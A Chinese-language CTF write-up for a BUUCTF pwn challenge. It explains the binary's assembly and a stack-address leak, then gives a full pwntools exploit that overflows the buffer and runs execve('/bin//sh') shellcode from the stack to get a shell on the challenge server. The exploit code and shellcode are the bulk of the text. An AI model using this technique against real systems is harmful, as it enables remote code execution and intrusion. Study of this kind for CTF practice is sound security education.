之前这个用汇编代码编写shellcode的题目做的较少,这题算是开端。
正常检查程序保护,啥也没开。
我们先分析一波程序:
需要用到一点汇编知识,总的意思是:四个xor清零四个寄存器。而后压栈数据,是最开始会输出的“Let’s start the CTF:”然后调用write函数输出上面内容0x14个字节。而后调用read函数输入最大0x3c字节内容。在add esp ;然后返回。
我们选择shellcode在栈上执行办法。所以我们需要泄露栈地址,计算偏移量,覆盖返回地址为shellcode所在地址
首先我们泄露栈地址:
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
这里我们解释为什么第二次调用write就能够泄露栈的地址了:
我们对着IDA上边的.text解释:
0x8048087:之前栈上压入了6个数据;之后read函数,write函数调用完后esp始终没有变化,直到出现了add esp,0x14.这使得esp此时指向第二个压入的数据,也就是返回地址(这里是exit的地址),其上就是第一次压入的数据(栈的地址,就是即将被泄露的栈的地址)
如上,栈第二个地方存的就是第一个被压入的数据,也就是其下面的栈的地址。所以当paylaod1发送时,返回“0x08048087 mov ecx, esp ; addr”到这里执行,使cx指向栈顶,此时栈顶就是第一个被压入的数据,存的正是栈的初始地址,可以被泄露。
WP:
from pwn import *
r = remote("node4.buuoj.cn",25434)
context(arch="i386",os="linux",log_level="debug")
offset = 0x14
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
r.sendafter(":",payload)
#r.recvuntil(":")
#r.sendline(payload)用着两句不行,会报错。
stack_addr = u32(r.recv(4))
#print("stack_addr ---> ",hex(stack_addr))
#shellcode=asm(shellcraft.sh())
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 "
)
#shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#payload= b'a' * offset + p32(stack_addr + offset) + shellcode
payload=b'a'*20+p32(stack_addr+20)+shellcode
r.send(payload)
r.interactive()
这里再解释一下" p32(stack_addr + offset)":
因为第二次执行完read之后执行了 add esp, 14h,此时esp指向的就是即将执行的shellcode的地址,而shellcode的地址正是泄露的stack_addr +20